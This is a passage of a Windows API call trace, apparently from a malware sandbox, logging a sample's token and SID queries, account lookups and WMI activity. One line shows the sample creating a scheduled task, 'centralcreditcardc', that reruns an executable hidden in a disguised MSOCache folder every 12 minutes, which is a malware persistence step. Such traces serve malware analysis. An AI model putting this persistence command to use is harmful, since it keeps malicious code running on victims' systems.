(pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0080.586] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0080.586] malloc (_Size=0x18) returned 0xef020 [0080.586] malloc (_Size=0x18) returned 0xef040 [0080.587] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0080.587] SysStringLen (param_1="-") returned 0x1 [0080.587] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0080.587] memcpy (in: _Dst=0x34d9aa, _Src=0x381268, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0080.587] free (_Block=0xef0a0) [0080.587] free (_Block=0xef020) [0080.587] malloc (_Size=0x18) returned 0xef020 [0080.587] malloc (_Size=0x18) returned 0xef0a0 [0080.587] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0080.587] SysStringLen (param_1="1000") returned 0x4 [0080.587] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0080.587] memcpy (in: _Dst=0x34dcdc, _Src=0x381268, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0080.587] free (_Block=0xef040) [0080.587] free (_Block=0xef020) [0080.587] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0080.587] malloc (_Size=0x5e) returned 0xf0800 [0080.587] free (_Block=0xef0a0) [0080.587] malloc (_Size=0x18) returned 0xef0a0 [0080.588] free (_Block=0xf0800) [0080.588] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0080.589] GetLastError () returned 0x7a [0080.589] malloc (_Size=0x14) returned 0xef020 [0080.589] malloc (_Size=0x16) returned 0xef040 [0080.589] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0080.589] malloc (_Size=0x18) returned 0xeef60 [0080.589] malloc (_Size=0x18) returned 0xeef00 [0080.589] free (_Block=0xef020) [0080.590] free (_Block=0xef040) [0080.590] free (_Block=0xeff60) [0080.590] free (_Block=0xeef00) [0080.590] free (_Block=0xeef60) [0080.590] free (_Block=0xef0a0) [0080.590] free (_Block=0xee240) [0080.591] malloc (_Size=0x48) returned 0xed2c0 [0080.591] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0080.697] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0080.698] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0080.698] malloc (_Size=0x18) returned 0xef0a0 [0080.698] CreateEnvironmentBlock () returned 0x1 [0080.703] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0080.703] malloc (_Size=0x18) returned 0xeef60 [0080.703] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"centralcreditcardc\" /sc MINUTE /mo 12 /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"centralcreditcardc\" /sc MINUTE /mo 12 /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xcf8, dwThreadId=0xcec)) returned 1 [0080.707] CloseHandle (hObject=0x2f8) returned 1 [0080.707] CloseHandle (hObject=0x2fc) returned 1 [0080.708] free (_Block=0xeef60) [0080.708] DestroyEnvironmentBlock () returned 0x1 [0080.708] malloc (_Size=0x48) returned 0xed270 [0080.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5913f7a0, dwHighDateTime=0x1d9eb0c)) [0080.708] SetEvent (hEvent=0x1f0) returned 1 [0080.708] CloseHandle (hObject=0x244) returned 1 [0080.708] CloseHandle (hObject=0x234) returned 1 [0080.808] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0080.808] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0080.808] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0081.354] SetLastError (dwErrCode=0x0) [0081.354] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0081.354] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0081.354] SetLastError (dwErrCode=0x0) [0081.354] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0081.354] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0081.354] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0081.354] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0081.354] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0081.354] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0081.356] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0081.356] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0081.356] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0081.356] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0081.357] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0081.357] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0081.357] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0081.359] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0081.359] GetCurrentThread () returned 0xfffffffffffffffe [0081.359] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0081.359] malloc (_Size=0xd8) returned 0xf3750 [0081.359] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0081.359] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0081.359] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0081.360] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0081.360] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0081.360] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0081.360] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0081.360] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0081.360] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0081.360] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0081.361] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0081.361] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0081.361] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0081.361] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0081.361] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0081.361] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0081.361] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0081.362] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0081.362] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0081.362] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0081.362] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0081.362] malloc (_Size=0x18) returned 0xeef20 [0081.362] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x244) returned 1 [0081.362] malloc (_Size=0x48) returned 0xed400 [0081.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5977f160, dwHighDateTime=0x1d9eb0c)) [0081.362] SetEvent (hEvent=0x1f0) returned 1 [0081.367] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0081.367] GetLastError () returned 0x7a [0081.367] malloc (_Size=0x2c) returned 0xee200 [0081.367] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0081.367] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0081.367] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0081.367] malloc (_Size=0x1c) returned 0xeff30 [0081.367] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0081.367] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0081.367] malloc (_Size=0x18) returned 0xef0a0 [0081.367] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0081.367] malloc (_Size=0x18) returned 0xeef60 [0081.367] malloc (_Size=0x18) returned 0xeef00 [0081.367] SysStringLen (param_1="S-1-") returned 0x4 [0081.367] SysStringLen (param_1="5") returned 0x1 [0081.368] memcpy (in: _Dst=0x381298, _Src=0x3811a8, _Size=0xa | out: _Dst=0x381298) returned 0x381298 [0081.368] memcpy (in: _Dst=0x3812a0, _Src=0x381238, _Size=0x4 | out: _Dst=0x3812a0) returned 0x3812a0 [0081.368] free (_Block=0xef0a0) [0081.368] free (_Block=0xeef60) [0081.368] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0081.368] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0081.368] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0081.368] malloc (_Size=0x18) returned 0xeef60 [0081.368] malloc (_Size=0x18) returned 0xef0a0 [0081.368] SysStringLen (param_1="S-1-5") returned 0x5 [0081.368] SysStringLen (param_1="-") returned 0x1 [0081.368] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0xc | out: _Dst=0x381238) returned 0x381238 [0081.368] memcpy (in: _Dst=0x381242, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381242) returned 0x381242 [0081.368] free (_Block=0xeef00) [0081.368] free (_Block=0xeef60) [0081.368] malloc (_Size=0x18) returned 0xeef60 [0081.368] malloc (_Size=0x18) returned 0xeef00 [0081.368] SysStringLen (param_1="S-1-5-") returned 0x6 [0081.368] SysStringLen (param_1="21") returned 0x2 [0081.368] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0xe | out: _Dst=0x3811a8) returned 0x3811a8 [0081.368] memcpy (in: _Dst=0x3811b4, _Src=0x381298, _Size=0x6 | out: _Dst=0x3811b4) returned 0x3811b4 [0081.368] free (_Block=0xef0a0) [0081.368] free (_Block=0xeef60) [0081.368] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0081.368] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0081.369] malloc (_Size=0x18) returned 0xeef60 [0081.369] malloc (_Size=0x18) returned 0xef0a0 [0081.369] SysStringLen (param_1="S-1-5-21") returned 0x8 [0081.369] SysStringLen (param_1="-") returned 0x1 [0081.369] memcpy (in: _Dst=0x381298, _Src=0x3811a8, _Size=0x12 | out: _Dst=0x381298) returned 0x381298 [0081.369] memcpy (in: _Dst=0x3812a8, _Src=0x381238, _Size=0x4 | out: _Dst=0x3812a8) returned 0x3812a8 [0081.369] free (_Block=0xeef00) [0081.369] free (_Block=0xeef60) [0081.369] malloc (_Size=0x18) returned 0xeef60 [0081.369] malloc (_Size=0x18) returned 0xeef00 [0081.369] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0081.369] SysStringLen (param_1="4219442223") returned 0xa [0081.369] memcpy (in: _Dst=0x337a58, _Src=0x381298, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0081.369] memcpy (in: _Dst=0x337a6a, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0081.369] free (_Block=0xef0a0) [0081.369] free (_Block=0xeef60) [0081.369] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0081.369] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0081.369] malloc (_Size=0x18) returned 0xeef60 [0081.369] malloc (_Size=0x18) returned 0xef0a0 [0081.369] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0081.369] SysStringLen (param_1="-") returned 0x1 [0081.369] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0081.369] memcpy (in: _Dst=0x33838e, _Src=0x381298, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0081.370] free (_Block=0xeef00) [0081.370] free (_Block=0xeef60) [0081.370] malloc (_Size=0x18) returned 0xeef60 [0081.370] malloc (_Size=0x18) returned 0xeef00 [0081.370] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0081.370] SysStringLen (param_1="4223814209") returned 0xa [0081.370] memcpy (in: _Dst=0x34da68, _Src=0x338368, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0081.370] memcpy (in: _Dst=0x34da90, _Src=0x381298, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0081.370] free (_Block=0xef0a0) [0081.370] free (_Block=0xeef60) [0081.370] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0081.370] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0081.370] malloc (_Size=0x18) returned 0xeef60 [0081.370] malloc (_Size=0x18) returned 0xef0a0 [0081.370] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0081.370] SysStringLen (param_1="-") returned 0x1 [0081.370] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34dd98) returned 0x34dd98 [0081.370] memcpy (in: _Dst=0x34ddd4, _Src=0x381298, _Size=0x4 | out: _Dst=0x34ddd4) returned 0x34ddd4 [0081.370] free (_Block=0xeef00) [0081.370] free (_Block=0xeef60) [0081.370] malloc (_Size=0x18) returned 0xeef60 [0081.370] malloc (_Size=0x18) returned 0xeef00 [0081.370] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0081.371] SysStringLen (param_1="3835049652") returned 0xa [0081.371] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0081.371] memcpy (in: _Dst=0x34daa6, _Src=0x381298, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0081.371] free (_Block=0xef0a0) [0081.371] free (_Block=0xeef60) [0081.371] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0081.371] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0081.371] malloc (_Size=0x18) returned 0xeef60 [0081.371] malloc (_Size=0x18) returned 0xef0a0 [0081.371] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0081.371] SysStringLen (param_1="-") returned 0x1 [0081.371] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34dd98) returned 0x34dd98 [0081.371] memcpy (in: _Dst=0x34ddea, _Src=0x381298, _Size=0x4 | out: _Dst=0x34ddea) returned 0x34ddea [0081.371] free (_Block=0xeef00) [0081.371] free (_Block=0xeef60) [0081.371] malloc (_Size=0x18) returned 0xeef60 [0081.371] malloc (_Size=0x18) returned 0xeef00 [0081.371] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0081.371] SysStringLen (param_1="1000") returned 0x4 [0081.371] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0081.371] memcpy (in: _Dst=0x34dabc, _Src=0x381298, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0081.371] free (_Block=0xef0a0) [0081.371] free (_Block=0xeef60) [0081.371] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0081.371] malloc (_Size=0x5e) returned 0xf0800 [0081.372] free (_Block=0xeef00) [0081.372] malloc (_Size=0x18) returned 0xeef00 [0081.372] free (_Block=0xf0800) [0081.372] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0081.373] GetLastError () returned 0x7a [0081.373] malloc (_Size=0x14) returned 0xeef60 [0081.373] malloc (_Size=0x16) returned 0xef0a0 [0081.373] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0081.374] malloc (_Size=0x18) returned 0xef040 [0081.374] malloc (_Size=0x18) returned 0xef020 [0081.374] free (_Block=0xeef60) [0081.374] free (_Block=0xef0a0) [0081.374] free (_Block=0xeff30) [0081.374] free (_Block=0xef020) [0081.374] free (_Block=0xef040) [0081.374] free (_Block=0xeef00) [0081.375] free (_Block=0xee200) [0081.375] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0081.375] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0081.375] GetLastError () returned 0x7a [0081.375] malloc (_Size=0x2c) returned 0xee240 [0081.375] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0081.375] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0081.375] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0081.375] malloc (_Size=0x1c) returned 0xeff30 [0081.375] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0081.375] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0081.375] malloc (_Size=0x18) returned 0xeef00 [0081.375] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0081.375] malloc (_Size=0x18) returned 0xef040 [0081.375] malloc (_Size=0x18) returned 0xef020 [0081.375] SysStringLen (param_1="S-1-") returned 0x4 [0081.375] SysStringLen (param_1="5") returned 0x1 [0081.375] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0xa | out: _Dst=0x3811a8) returned 0x3811a8 [0081.375] memcpy (in: _Dst=0x3811b0, _Src=0x381298, _Size=0x4 | out: _Dst=0x3811b0) returned 0x3811b0 [0081.376] free (_Block=0xeef00) [0081.376] free (_Block=0xef040) [0081.376] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0081.376] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0081.376] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0081.376] malloc (_Size=0x18) returned 0xef040 [0081.376] malloc (_Size=0x18) 